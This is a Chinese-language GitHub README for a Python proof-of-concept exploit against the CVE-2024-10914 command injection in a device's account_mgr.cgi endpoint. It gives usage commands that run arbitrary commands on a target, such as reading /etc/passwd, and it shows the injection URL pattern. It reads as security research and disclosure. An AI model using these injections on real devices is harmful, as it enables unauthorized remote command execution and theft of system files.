0xSS3K/CVE-2024-10914__POC

GitHub: 0xSS3K/CVE-2024-10914__POC

针对 CVE-2024-10914 CGI 端点命令注入漏洞的 Python PoC 利用脚本,通过未过滤的 name 参数实现远程命令执行。

Stars: 0 | Forks: 0

# CVE-2024-10914 - 概念验证 针对 `/cgi-bin/account_mgr.cgi` endpoint 命令注入漏洞的 exploit。该漏洞允许通过未过滤的参数在受影响的系统上执行任意命令。 ## 漏洞描述 CVE-2024-10914 是一个命令注入漏洞,影响带有 CGI Web 界面的设备。该易受攻击的应用程序未正确验证 `cgi_user_add` 请求中的 `name` 参数,允许攻击者注入将以应用程序权限执行的系统命令。 ## 环境要求 - Python 3.7+ - requests 库 ## 安装说明 克隆仓库并安装依赖: ``` git clone https://github.com/0xSS3K/CVE-2024-10914__POC.git cd CVE-2024-10914__POC pip install -r requirements.txt ``` 或手动安装: ``` pip install requests ``` ## 使用说明 该脚本提供两个参数: ``` python CVE-2024-10914_EXPLOIT.py -u -c ``` ### 参数说明 - `-u, --url`(必需):目标 URL(例如:http://192.168.1.1) - `-c, --command`(可选):要执行的命令(默认:id) ### 示例 执行 `id` 命令: ``` python CVE-2024-10914_EXPLOIT.py -u http://192.168.1.1 ``` 执行自定义命令: ``` python CVE-2024-10914_EXPLOIT.py -u http://192.168.1.1 -c "cat /etc/passwd" ``` 列出文件: ``` python CVE-2024-10914_EXPLOIT.py -u http://192.168.1.1 -c "ls -la /tmp" ``` ## 技术原理 该 exploit 向存在漏洞的 endpoint 发送带有以下 payload 的 GET 请求: ``` /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name="; ; " ``` 空字符串以引号闭合,随后注入所需的命令,该命令将在服务器上下文中执行。 ## 响应结果 脚本将显示: - 连接状态 - 发送的 payload - HTTP 状态码 - 服务器的完整响应 ## 法律警告 此代码仅出于教育和安全研究目的提供。仅应在获得明确授权的系统上使用。未经授权使用此 exploit 可能违反当地法律并构成犯罪。作者不对滥用此工具的行为承担责任。 ## 参考资料 - CVE-2024-10914 - CVSS 评分:待定 ## 作者 SS3K ## 许可证 未指定
标签:CISA项目, PoC, Python, 命令注入, 安全, 无后门, 暴力破解, 超时处理, 逆向工具